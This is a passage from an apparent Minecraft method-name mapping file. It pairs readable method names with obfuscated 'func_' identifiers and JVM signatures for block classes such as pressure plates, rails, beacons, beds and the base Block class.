(Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockBasePressurePlate/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockBasePressurePlate/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockBasePressurePlate/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockBasePressurePlate/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockBasePressurePlate/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockBasePressurePlate/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockBasePressurePlate/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockBasePressurePlate/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockBasePressurePlate/isOpaqueCube ()Z net/minecraft/block/BlockBasePressurePlate/func_149662_c ()Z +MD: net/minecraft/block/BlockBasePressurePlate/isFullCube ()Z net/minecraft/block/BlockBasePressurePlate/func_149686_d ()Z +MD: net/minecraft/block/BlockBasePressurePlate/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockBasePressurePlate/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockBasePressurePlate/setBlockBoundsBasedOnState0 (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockBasePressurePlate/func_180668_d (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockBasePressurePlate/updateNeighbors (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockBasePressurePlate/func_176578_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockBasePressurePlate/getRedstoneStrength (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockBasePressurePlate/func_176576_e (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockBasePressurePlate/computeRedstoneStrength (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockBasePressurePlate/func_180669_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockBasePressurePlate/canSpawnInBlock ()Z net/minecraft/block/BlockBasePressurePlate/func_181623_g ()Z +MD: net/minecraft/block/BlockBasePressurePlate/canProvidePower ()Z net/minecraft/block/BlockBasePressurePlate/func_149744_f ()Z +MD: net/minecraft/block/BlockBasePressurePlate/setBlockBoundsForItemRender ()V net/minecraft/block/BlockBasePressurePlate/func_149683_g ()V +MD: net/minecraft/block/BlockBasePressurePlate/getMobilityFlag ()I net/minecraft/block/BlockBasePressurePlate/func_149656_h ()I +MD: net/minecraft/block/BlockBasePressurePlate/canBePlacedOn (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockBasePressurePlate/func_176577_m (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRailBase$Rail/countAdjacentRails ()I net/minecraft/block/BlockRailBase$Rail/func_150650_a ()I +MD: net/minecraft/block/BlockRailBase$Rail/func_150653_a (Lnet/minecraft/block/BlockRailBase$Rail;)Z net/minecraft/block/BlockRailBase$Rail/func_150653_a (Lnet/minecraft/block/BlockRailBase$Rail;)Z +MD: net/minecraft/block/BlockRailBase$Rail/func_180360_a (Lnet/minecraft/block/BlockRailBase$EnumRailDirection;)V net/minecraft/block/BlockRailBase$Rail/func_180360_a (Lnet/minecraft/block/BlockRailBase$EnumRailDirection;)V +MD: net/minecraft/block/BlockRailBase$Rail/hasRailAt (Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRailBase$Rail/func_180359_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRailBase$Rail/func_180364_a (ZZ)Lnet/minecraft/block/BlockRailBase$Rail; net/minecraft/block/BlockRailBase$Rail/func_180364_a (ZZ)Lnet/minecraft/block/BlockRailBase$Rail; +MD: net/minecraft/block/BlockRailBase$Rail/getBlockState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRailBase$Rail/func_180362_b ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRailBase$Rail/func_150649_b (Lnet/minecraft/block/BlockRailBase$Rail;)Z net/minecraft/block/BlockRailBase$Rail/func_150649_b (Lnet/minecraft/block/BlockRailBase$Rail;)Z +MD: net/minecraft/block/BlockRailBase$Rail/findRailAt (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockRailBase$Rail; net/minecraft/block/BlockRailBase$Rail/func_180697_b (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockRailBase$Rail; +MD: net/minecraft/block/BlockRailBase$Rail/func_150651_b ()V net/minecraft/block/BlockRailBase$Rail/func_150651_b ()V +MD: net/minecraft/block/BlockRailBase$Rail/func_150645_c (Lnet/minecraft/block/BlockRailBase$Rail;)V net/minecraft/block/BlockRailBase$Rail/func_150645_c (Lnet/minecraft/block/BlockRailBase$Rail;)V +MD: net/minecraft/block/BlockRailBase$Rail/func_180363_c (Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRailBase$Rail/func_180363_c (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRailBase$Rail/func_180361_d (Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRailBase$Rail/func_180361_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRailBase$EnumRailDirection/getMetadata ()I net/minecraft/block/BlockRailBase$EnumRailDirection/func_177015_a ()I +MD: net/minecraft/block/BlockRailBase$EnumRailDirection/byMetadata (I)Lnet/minecraft/block/BlockRailBase$EnumRailDirection; net/minecraft/block/BlockRailBase$EnumRailDirection/func_177016_a (I)Lnet/minecraft/block/BlockRailBase$EnumRailDirection; +MD: net/minecraft/block/BlockRailBase$EnumRailDirection/isAscending ()Z net/minecraft/block/BlockRailBase$EnumRailDirection/func_177018_c ()Z +MD: net/minecraft/block/BlockRailBase$EnumRailDirection/getName ()Ljava/lang/String; net/minecraft/block/BlockRailBase$EnumRailDirection/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockRailBase$EnumRailDirection/toString ()Ljava/lang/String; net/minecraft/block/BlockRailBase$EnumRailDirection/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockRailBase$EnumRailDirection/values ()[Lnet/minecraft/block/BlockRailBase$EnumRailDirection; net/minecraft/block/BlockRailBase$EnumRailDirection/values ()[Lnet/minecraft/block/BlockRailBase$EnumRailDirection; +MD: net/minecraft/block/BlockRailBase/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockRailBase/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockRailBase/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRailBase/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRailBase/func_176564_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRailBase/func_176564_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRailBase/collisionRayTrace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/block/BlockRailBase/func_180636_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/block/BlockRailBase/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockRailBase/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockRailBase/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRailBase/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRailBase/onNeighborChangedInternal (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRailBase/func_176561_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRailBase/isOpaqueCube ()Z net/minecraft/block/BlockRailBase/func_149662_c ()Z +MD: net/minecraft/block/BlockRailBase/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRailBase/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRailBase/isFullCube ()Z net/minecraft/block/BlockRailBase/func_149686_d ()Z +MD: net/minecraft/block/BlockRailBase/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRailBase/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRailBase/isRailBlock (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRailBase/func_176563_d (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRailBase/isRailBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRailBase/func_176562_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRailBase/getMobilityFlag ()I net/minecraft/block/BlockRailBase/func_149656_h ()I +MD: net/minecraft/block/BlockRailBase/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockRailBase/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockRailBase/getShapeProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockRailBase/func_176560_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockBeacon$1$1/run ()V net/minecraft/block/BlockBeacon$1$1/run ()V +MD: net/minecraft/block/BlockBeacon$1/run ()V net/minecraft/block/BlockBeacon$1/run ()V +MD: net/minecraft/block/BlockBeacon/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockBeacon/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockBeacon/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockBeacon/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockBeacon/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockBeacon/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockBeacon/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockBeacon/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockBeacon/getRenderType ()I net/minecraft/block/BlockBeacon/func_149645_b ()I +MD: net/minecraft/block/BlockBeacon/isOpaqueCube ()Z net/minecraft/block/BlockBeacon/func_149662_c ()Z +MD: net/minecraft/block/BlockBeacon/isFullCube ()Z net/minecraft/block/BlockBeacon/func_149686_d ()Z +MD: net/minecraft/block/BlockBeacon/updateColorAsync (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockBeacon/func_176450_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockBeacon/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockBeacon/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockBed$EnumPartType/getName ()Ljava/lang/String; net/minecraft/block/BlockBed$EnumPartType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockBed$EnumPartType/toString ()Ljava/lang/String; net/minecraft/block/BlockBed$EnumPartType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockBed$EnumPartType/values ()[Lnet/minecraft/block/BlockBed$EnumPartType; net/minecraft/block/BlockBed$EnumPartType/values ()[Lnet/minecraft/block/BlockBed$EnumPartType; +MD: net/minecraft/block/BlockBed/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockBed/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockBed/getSafeExitLocation (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/util/BlockPos; net/minecraft/block/BlockBed/func_176468_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/block/BlockBed/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockBed/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockBed/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockBed/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockBed/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockBed/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockBed/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockBed/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockBed/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockBed/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockBed/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockBed/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockBed/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockBed/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockBed/isOpaqueCube ()Z net/minecraft/block/BlockBed/func_149662_c ()Z +MD: net/minecraft/block/BlockBed/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockBed/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockBed/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockBed/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockBed/isFullCube ()Z net/minecraft/block/BlockBed/func_149686_d ()Z +MD: net/minecraft/block/BlockBed/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockBed/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockBed/hasRoomForPlayer (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockBed/func_176469_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockBed/getPlayerInBed (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/block/BlockBed/func_176470_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/block/BlockBed/getMobilityFlag ()I net/minecraft/block/BlockBed/func_149656_h ()I +MD: net/minecraft/block/BlockBed/setBedBounds ()V net/minecraft/block/BlockBed/func_149978_e ()V +MD: net/minecraft/block/BlockBed/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockBed/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/Block$1/getBreakSound ()Ljava/lang/String; net/minecraft/block/Block$1/func_150495_a ()Ljava/lang/String; +MD: net/minecraft/block/Block$1/getPlaceSound ()Ljava/lang/String; net/minecraft/block/Block$1/func_150496_b ()Ljava/lang/String; +MD: net/minecraft/block/Block$2/getBreakSound ()Ljava/lang/String; net/minecraft/block/Block$2/func_150495_a ()Ljava/lang/String; +MD: net/minecraft/block/Block$3/getBreakSound ()Ljava/lang/String; net/minecraft/block/Block$3/func_150495_a ()Ljava/lang/String; +MD: net/minecraft/block/Block$3/getPlaceSound ()Ljava/lang/String; net/minecraft/block/Block$3/func_150496_b ()Ljava/lang/String; +MD: net/minecraft/block/Block$4/getBreakSound ()Ljava/lang/String; net/minecraft/block/Block$4/func_150495_a ()Ljava/lang/String; +MD: net/minecraft/block/Block$4/getPlaceSound ()Ljava/lang/String; net/minecraft/block/Block$4/func_150496_b ()Ljava/lang/String; +MD: net/minecraft/block/Block$4/getStepSound ()Ljava/lang/String; net/minecraft/block/Block$4/func_150498_e ()Ljava/lang/String; +MD: net/minecraft/block/Block$EnumOffsetType/values ()[Lnet/minecraft/block/Block$EnumOffsetType; net/minecraft/block/Block$EnumOffsetType/values ()[Lnet/minecraft/block/Block$EnumOffsetType; +MD: net/minecraft/block/Block$SoundType/getBreakSound ()Ljava/lang/String; net/minecraft/block/Block$SoundType/func_150495_a ()Ljava/lang/String; +MD: net/minecraft/block/Block$SoundType/getPlaceSound ()Ljava/lang/String; net/minecraft/block/Block$SoundType/func_150496_b ()Ljava/lang/String; +MD: net/minecraft/block/Block$SoundType/getStepSound ()Ljava/lang/String; net/minecraft/block/Block$SoundType/func_150498_e ()Ljava/lang/String; +MD: net/minecraft/block/Block$SoundType/getVolume ()F net/minecraft/block/Block$SoundType/func_150497_c ()F +MD: net/minecraft/block/Block$SoundType/getFrequency ()F net/minecraft/block/Block$SoundType/func_150494_d ()F +MD: net/minecraft/block/Block/isCollidable ()Z net/minecraft/block/Block/func_149703_v ()Z +MD: net/minecraft/block/Block/getBlockBoundsMinX ()D net/minecraft/block/Block/func_149704_x ()D +MD: net/minecraft/block/Block/getBlockBoundsMaxX ()D net/minecraft/block/Block/func_149753_y ()D +MD: net/minecraft/block/Block/getBlockBoundsMinY ()D net/minecraft/block/Block/func_149665_z ()D +MD: net/minecraft/block/Block/getBlockBoundsMaxY ()D net/minecraft/block/Block/func_149669_A ()D +MD: net/minecraft/block/Block/getBlockBoundsMinZ ()D net/minecraft/block/Block/func_149706_B ()D +MD: net/minecraft/block/Block/getBlockBoundsMaxZ ()D net/minecraft/block/Block/func_149693_C ()D +MD: net/minecraft/block/Block/getBlockColor ()I net/minecraft/block/Block/func_149635_D ()I +MD: net/minecraft/block/Block/canSilkHarvest ()Z net/minecraft/block/Block/func_149700_E ()Z +MD: net/minecraft/block/Block/getEnableStats ()Z net/minecraft/block/Block/func_149652_G ()Z +MD: net/minecraft/block/Block/disableStats ()Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149649_H ()Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getCreativeTabToDisplayOn ()Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/block/Block/func_149708_J ()Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/block/Block/isFlowerPot ()Z net/minecraft/block/Block/func_149648_K ()Z +MD: net/minecraft/block/Block/requiresUpdates ()Z net/minecraft/block/Block/func_149698_L ()Z +MD: net/minecraft/block/Block/hasComparatorInputOverride ()Z net/minecraft/block/Block/func_149740_M ()Z +MD: net/minecraft/block/Block/getBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/Block/func_176194_O ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/Block/getDefaultState ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/Block/func_176223_P ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/Block/getOffsetType ()Lnet/minecraft/block/Block$EnumOffsetType; net/minecraft/block/Block/func_176218_Q ()Lnet/minecraft/block/Block$EnumOffsetType; +MD: net/minecraft/block/Block/registerBlocks ()V net/minecraft/block/Block/func_149671_p ()V +MD: net/minecraft/block/Block/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/Block/func_149739_a ()Ljava/lang/String; +MD: net/minecraft/block/Block/setLightLevel (F)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149715_a (F)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/setBlockBounds (FFFFFF)V net/minecraft/block/Block/func_149676_a (FFFFFF)V +MD: net/minecraft/block/Block/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/Block/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/Block/registerBlock (ILjava/lang/String;Lnet/minecraft/block/Block;)V net/minecraft/block/Block/func_176219_a (ILjava/lang/String;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/Block/quantityDroppedWithBonus (ILjava/util/Random;)I net/minecraft/block/Block/func_149679_a (ILjava/util/Random;)I +MD: net/minecraft/block/Block/registerBlock (ILnet/minecraft/util/ResourceLocation;Lnet/minecraft/block/Block;)V net/minecraft/block/Block/func_176215_a (ILnet/minecraft/util/ResourceLocation;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/Block/canDropFromExplosion (Lnet/minecraft/world/Explosion;)Z net/minecraft/block/Block/func_149659_a (Lnet/minecraft/world/Explosion;)Z +MD: net/minecraft/block/Block/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/Block/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/Block/isReplaceable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/Block/func_176200_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/Block/onBlockDestroyedByExplosion (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/Explosion;)V net/minecraft/block/Block/func_180652_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/Explosion;)V +MD: net/minecraft/block/Block/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/Block/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/Block/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/Block/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/Block/onBlockEventReceived (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z net/minecraft/block/Block/func_180648_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z +MD: net/minecraft/block/Block/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/Block/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/Block/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/Block/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/Block/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/Block/func_180645_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/Block/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/Block/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/Block/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/Block/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/Block/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/Block/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/Block/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/Block/func_180639_a 